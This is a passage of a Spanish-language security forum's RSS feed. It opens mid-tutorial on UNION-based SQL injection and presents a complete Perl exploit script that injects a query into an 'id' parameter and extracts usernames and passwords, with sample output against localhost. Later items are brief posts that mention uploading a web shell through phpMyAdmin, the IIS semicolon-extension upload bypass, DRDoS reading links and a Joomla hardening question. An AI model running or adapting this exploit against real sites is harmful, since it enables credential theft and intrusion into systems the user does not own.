ttp://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users</pre><br /><br /><br />Con esto logramos sacar el user y password de la pagina<br /><br />Guason:123<br /><br />Que mal, no? Pero esta es la parte mas interesante ya que explorer de PPE siempre me decia que usara anclas y ahora me doy cuenta de me hubiera quedado mejor asi<br /><br /><br />ht<pre class="bbcode">
tp://127.0.0.1/index.php?id=-1+union+select+concat(0x4e554c4c5354415254,name,0x3a,password,0x4e554c4c454e44),2,3,4+from+users</pre><br /><br />Muchos se preguntaran que resultado de esto . Pues observen<br /><br /><br />N<pre class="bbcode">
ULLSTARTGuason:123NULLEND</pre><br /><br />Y analicen como lo hice ya que los valores hex en realidad significan..........<br /><br /><br />0<pre class="bbcode">
x4e554c4c5354415254 = NULLSTART
0x3a = :
0x4e554c4c454e44 = NULLEND</pre><br /><br /><br />Esta vez si pude lucirme ajajajajaja. Bueno ahora pasemos al siguiente punto .............................<br /><br /><br /><br />0x04:Creacion de un exploit<br /><br /><br />Ok , como ya tenemos el exploit , la inyeccion sql completa y las anclas...............<br />Pues ya es hora de crear el exploit y no Xploit que es para robar correo que mal!<br /><br />Primero llamamos al modulo necesario.<br /><br />use <pre class="bbcode">
LWP::Simple;</pre><br /><br /><br />Despues la damos valor al argumento<br /><br /><br /><pre class="bbcode">
my $target = $ARGV[0];</pre><br /><br /><br />Despues verificamos que el target se haya puesto o no<br /><br /><br /><pre class="bbcode">
unless ($target) { print &quot;\nprimer exploit\n\n&quot;; print &quot;\nmodo de uso = $0 &lt;target&gt;\n&quot; ; exit 1; }</pre><br /><br /><br />Si todo sale bien creamos el path con la inyeccion sql y llamamos a la pagina.<br /><br /><br />$sql <pre class="bbcode">
= &quot;-1+union+select+concat(0x4e554c4c5354415254,0x3c62723e,0x5b557365725,0x3d3d3d3d,name,0x3c62723e,0x5b50617373776f72645d,0x3d3d3d3d,password,0x3c62723e,0x4e554c4c454e44),2,3,4+from+users&quot;;



$final = $target.$sql;
$contenido = get($final);</pre><br /><br />Muy bien , ahora verificamos la inyeccion sql y si funciono nos dara los datos<br /><br /><br /><pre class="bbcode">
print &quot;\n\n[+] Target = $target\n\n&quot;;
if ($contenido =~/NULLSTART(.*):(.*)NULLEND/) {
print &quot;[+] Usuario = $1\n&quot;;
print &quot;[+] Password = $2\n&quot;;
} else {
print &quot;[-] No se encontro nada\n\n&quot;;
exit 1;
}



print &quot;\n[ñ] Explotacion finalizada\n&quot;;
exit 1;</pre><br /><br />Quedo muy bien! Ahora pasemos al siguiente punto.<br /><br /><br /><br />0x05:Practica del ataque<br /><br /><br />El exploit quedo de la siguiente manera<br /><br /><br /><pre class="bbcode">
use LWP::Simple;

my $target = $ARGV[0];
unless ($target) { print &quot;\nprimer exploit\n\n&quot;; print &quot;\nmodo de uso = $0 &lt;target&gt;\n&quot; ; exit 1; }

$sql = &quot;-1+union+select+concat(0x4e554c4c5354415254,name,0x3a,password,0x4e554c4c454e44),2,3,4+from+users&quot;;


$final = $target.$sql;
$contenido = get($final);

print &quot;\n\n[+] Target = $target\n\n&quot;;
if ($contenido =~/NULLSTART(.*):(.*)NULLEND/) {
print &quot;[+] Usuario = $1\n&quot;;
print &quot;[+] Password = $2\n&quot;;
} else {
print &quot;[-] No se encontro nada\n\n&quot;;
exit 1;
}



print &quot;\n[ñ] Explotacion finalizada\n&quot;;
exit 1;</pre><br /><br /><br /><br />Ok ,para realizar el ataque seria<br /><br /><br />perl exploit.pl http://127.0.0.1/index.php?id=<br /><br /><br /><b>Resultado</b><br /><br /><br /><br />[[code]<br />+] Target = http://127.0.0.1/index.php?id=<br /><br />[+] Usuario = admin<br />[+] Password = 123<br /><br />[±] Explotacion finalizada<br />[/code]<br /><br /><br /><br />Como veran el ataque resulto exitoso. Con esto ya que concluye el manual.<br /><br /><br /><br />0x06:Despedida<br /><br /><br />Espero que les haya gustado si no les gusto no comenten de lo contrario esta todo bien<br /><br />Fuente = elgranguason.wordpress.com]]></description>
<dc:creator>Guason</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sat, 23 Jan 2010 20:41:57 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6209,6209#msg-6209</guid>
<title>Protección en joomla (8 replies)</title><link>https://foro.undersecurity.net/read.php?15,6209,6209#msg-6209</link><description><![CDATA[Saludos a tod@s, el otro día en irc estuve charlando con algún forero sobre el tema de vulnerabilidades en mi web, ya que haciendo unas pruebas fuimos capaces de sacar el nombre del administrador y el HASH de joomla. Bien, a la hora en que tuve que desconectar, uno de los usuarios me dijo que podria proteger mi web modificando las cabeceras y htmlities o algo así, ya que no me dio tiempo a anotarlo. El caso es que he estado dando vueltas por el foro, y al ser un novato, hay cosas que no logro entender (por no decir que no entiendo nada. Alguien sabría explicarme y ayudarme para proteger la web modificando estos códigos?? Tengo conocimientos medios de html.<br />Gracias por adelantado.]]></description>
<dc:creator>taa</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Tue, 26 Jan 2010 04:21:58 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6075,6075#msg-6075</guid>
<title>[Video Tuto] Subir shell por medio del phpmyadmin (linux) (4 replies)</title><link>https://foro.undersecurity.net/read.php?15,6075,6075#msg-6075</link><description><![CDATA[bueno me incentivaron a crear un video tuto ya que no soy fan de estos pero bueno :P jajaja creo que me gustaron<br />otra que he estado uff....re-inactivo en el foro :P solo entraba a ver que habia.. pero ya no xD vamos a colaborar como lo hago en otros foros :)<br /><br />aki dejo algo que o hice en el 2009 reciente el 29 o 30 de diciembre :)<br /><br /><a href="http://www.box.net/shared/1ug7kco87i" target="_blank" rel="nofollow" >Descarga del video [Link Permanente]</a><br /><br />P.D. si me equivoco en algo haganme avisar porke no quiero cometer esos errores :)]]></description>
<dc:creator>g3n1ux</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Wed, 07 Apr 2010 10:16:54 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6045,6045#msg-6045</guid>
<title>[Video] Full Source Disclosure (2 replies)</title><link>https://foro.undersecurity.net/read.php?15,6045,6045#msg-6045</link><description><![CDATA[<br/><embed src="http://www.youtube.com/v/Lo7ghHitKkg" type="application/x-shockwave-flash" width="425" height="350"></embed><br/><br />http://www.youtube.com/watch?v=Lo7ghHitKkg<br /><br /><a href="http://www.mediafire.com/?zngyzjzwjmw" target="_blank" rel="nofollow" >Descargar</a><br />Captura del video.<br /><img src="http://img11.imageshack.us/img11/5968/imgggc.png" class="bbcode" border="0" />]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Fri, 08 Jan 2010 23:25:21 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6026,6026#msg-6026</guid>
<title>Distributed Reflection Denial of Service (1 reply)</title><link>https://foro.undersecurity.net/read.php?15,6026,6026#msg-6026</link><description><![CDATA[En realidad esto es sobre seguridad en general, no web pero no encontré un mejor lugar para postearlo (@OzX, hay que cambiar eso)<br /><br />Este paper es corto y explica lo basico del ataque: <a href="http://palisade.plynt.com/issues/2006Apr/ddos-reflection/" target="_blank" rel="nofollow" >http://palisade.plynt.com/issues/2006Apr/ddos-reflection/</a><br />Este otro es mas largo, explica los distintos tipos de syn flood antes de hablar de este en especial. Muestra la historia y como defenderse: <a href="http://cs-www.cs.yale.edu/homes/arvind/cs425/doc/drdos.pdf" target="_blank" rel="nofollow" >http://cs-www.cs.yale.edu/homes/arvind/cs425/doc/drdos.pdf</a>]]></description>
<dc:creator>seth</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Tue, 05 Jan 2010 12:50:41 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,5863,5863#msg-5863</guid>
<title>Microsoft IIS ASP Multiple Extensions Security Bypass (3 replies)</title><link>https://foro.undersecurity.net/read.php?15,5863,5863#msg-5863</link><description><![CDATA[En esta navidad, nos regalaron a todos una vulne en iis (?)<br /><br /><a href="http://secunia.com/advisories/37831/" target="_blank" rel="nofollow" >http://secunia.com/advisories/37831/</a><br /><a href="http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf" target="_blank" rel="nofollow" >http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf</a><br /><br />Basicamente consite en que si subis un archivo llamado <b>algo.asp;.jpeg</b> se ejecuta como asp y esto se puede usar para bypassear uploaders]]></description>
<dc:creator>seth</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Fri, 25 Dec 2009 16:02:28 -0500</pubDate></item>
</channel>
</rss>